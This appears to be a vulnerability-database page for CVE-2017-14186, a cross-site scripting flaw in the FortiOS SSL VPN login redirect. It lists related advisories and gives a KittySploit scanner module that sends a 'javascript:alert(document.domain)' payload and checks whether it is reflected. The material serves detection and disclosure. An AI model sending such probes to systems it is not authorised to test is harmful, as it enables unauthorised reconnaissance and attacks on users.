FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| FortiGate SSL VPN Portal 5.x Cross Site Scripting Vulnerability | 4 Dec 201700:00 | – | zdt | |
| The vulnerability in the FortiOS operating system’s web portal allows a hacker to inject any desired JavaScript or HTML code. | 31 Oct 201800:00 | – | bdu_fstec | |
| Fortinet FortiOS SSL-VPN Portal Cross-Site Scripting Vulnerability | 30 Nov 201700:00 | – | cnvd | |
| Fortinet FortiOS Cross-Site Scripting (CVE-2017-14186) | 16 Sep 202000:00 | – | checkpoint_advisories | |
| CVE-2017-14186 | 29 Nov 201719:00 | – | cve | |
| CVE-2017-14186 | 29 Nov 201719:00 | – | cvelist | |
| EUVD-2017-5696 | 7 Oct 202500:30 | – | euvd | |
| Protect | 24 May 201900:00 | – | fortinet | |
| Fortinet FortiOS <= 5.4 / 5.6.x < 5.6.8 / 6.0.x < 6.0.5 SSL VPN Web Portal login redir XSS (FG-IR-17-242) | 30 Nov 201700:00 | – | nessus | |
| Fortinet FortiOS (Mac OS X) <= 5.4 / 5.6.x < 5.6.8 / 6.0.x < 6.0.5 SSL VPN Web Portal login redir XSS (FG-IR-17-242) (deprecated) | 14 Jun 201900:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting Detection',
'description': 'FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2017', 'fortigate', 'xss', 'fortinet', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.fortiguard.com/psirt/FG-IR-17-242',
'https://fortiguard.com/advisory/FG-IR-17-242',
'https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891',
'https://nvd.nist.gov/vuln/detail/CVE-2017-14186',
'http://www.securitytracker.com/id/1039891',
],
'cve': 'CVE-2017-14186',
}
def run(self):
r = self.http_request(method="GET", path='/remote/loginredir?redir=javascript:alert(document.domain)', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('location=decodeURIComponent("javascript%3Aalert%28document.domain%29"',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting detected",
path='/remote/loginredir?redir=javascript:alert(document.domain)',
)
return True
return False
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28 Jul 2026 11:27Current
5.6Medium risk
Vulners AI Score5.6
CVSS 23.5
CVSS 35.4
EPSS0.03718
SSVC